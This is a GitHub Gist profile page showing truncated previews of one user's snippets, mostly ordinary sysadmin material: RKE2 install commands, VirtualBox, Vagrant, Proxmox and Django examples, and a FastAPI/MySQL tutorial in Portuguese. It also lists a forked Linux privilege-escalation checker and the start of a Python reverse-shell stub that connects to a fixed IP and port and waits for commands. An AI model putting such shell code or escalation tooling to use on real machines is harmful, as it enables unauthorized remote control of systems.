Skip to content

Instantly share code, notes, and snippets.

View contato318's full-sized avatar
🏠
Working from home

Dirceu Silva contato318

🏠
Working from home
View GitHub Profile
@contato318
contato318 / rke2-commands.md
Created February 26, 2024 20:35 — forked from superseb/rke2-commands.md
RKE2 commands

RKE2 commands

Install

curl -sL https://get.rke2.io | sh
systemctl daemon-reload
systemctl start rke2-server

Para criar uma conexão reutilizável com o banco MySQL utilizando FastAPI e Python, você pode seguir os seguintes passos:

  1. Instale o pacote mysql-connector-python:

    pip install mysql-connector-python
    
  2. Crie um arquivo database.py que irá conter uma função para criar a conexão com o banco de dados e retornar uma conexão do pool de conexões. Esse arquivo pode ser utilizado em múltiplos arquivos, caso seja necessário.

import mysql.connector

#!/bin/bash
lista-vms () {
echo "###############################"
echo "VMS existentes: "
VBoxManage list vms
echo ""
}
lista-discos () {
# -*- mode: ruby -*-
# vi: set ft=ruby :
#Variável para ficar bonitinha...
#Brincadeira, caso o seu provider nao seja o virtualbox, troque aqui!!!!
VAGRANT_VM_PROVIDER = "virtualbox"
#Versão do Vagrantfile
VAGRANTFILE_API_VERSION = "2"
@contato318
contato318 / proxmox_conf_apache.txt
Last active February 8, 2018 16:10
Configurações necessárias para colocar o proxmox atrás de um proxy apache
###########################################################
# CONFIGURANDO O PROXMOX PARA RESPONDER APENAS LOCALMENTE #
###########################################################
echo -e "ALLOW_FROM="127.0.0.1"nDENY_FROM="all"nPOLICY="allow"" > /etc/default/pveproxy
sed -i -e "s|port => 8006,|port => 8006,nhost => "127.0.0.1",|" /usr/bin/pveproxy
/etc/init.d/pveproxy restart
/etc/init.d/pveproxy status
apt-get update
apt-get install apache2
@contato318
contato318 / hello.py
Created October 14, 2017 18:34
Exemplo mínimo de django
###################################################
## Isto é a parte das configurações (settings.py) #
###################################################
from django.conf import settings
settings.configure(
DEBUG=True,
SECRET_KEY='thisisthesecretkey',
ROOT_URLCONF=__name__,
MIDDLEWARE_CLASSES=(
#!/usr/bin/perl
use strict;
use warnings;
##########################
# Banco de dados local #
##########################
use DBI;
@contato318
contato318 / linuxprivchecker.py
Created July 14, 2017 16:13 — forked from sh1n0b1/linuxprivchecker.py
linuxprivchecker.py -- a Linux Privilege Escalation Check Script
#!/usr/env python
###############################################################################################################
## [Title]: linuxprivchecker.py -- a Linux Privilege Escalation Check Script
## [Author]: Mike Czumak (T_v3rn1x) -- @SecuritySift
##-------------------------------------------------------------------------------------------------------------
## [Details]:
## This script is intended to be executed locally on a Linux box to enumerate basic system info and
## search for common privilege escalation vectors such as world writable files, misconfigurations, clear-text
## passwords and applicable exploits.
import socket, subprocess
def connect():
ip = "192.168.0.100"
port = 6000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while True:
command = s.recv(1024)
@contato318
contato318 / docker.yaml
Created June 22, 2017 00:57 — forked from dbones/docker.yaml
voting app
app-lb:
ports:
- 80:80
labels:
io.rancher.scheduler.affinity:host_label: server=proxy
io.rancher.loadbalancer.target.result: result.app:80=80
io.rancher.loadbalancer.target.vote: vote.app:80=80
tty: true
image: rancher/load-balancer-service
links: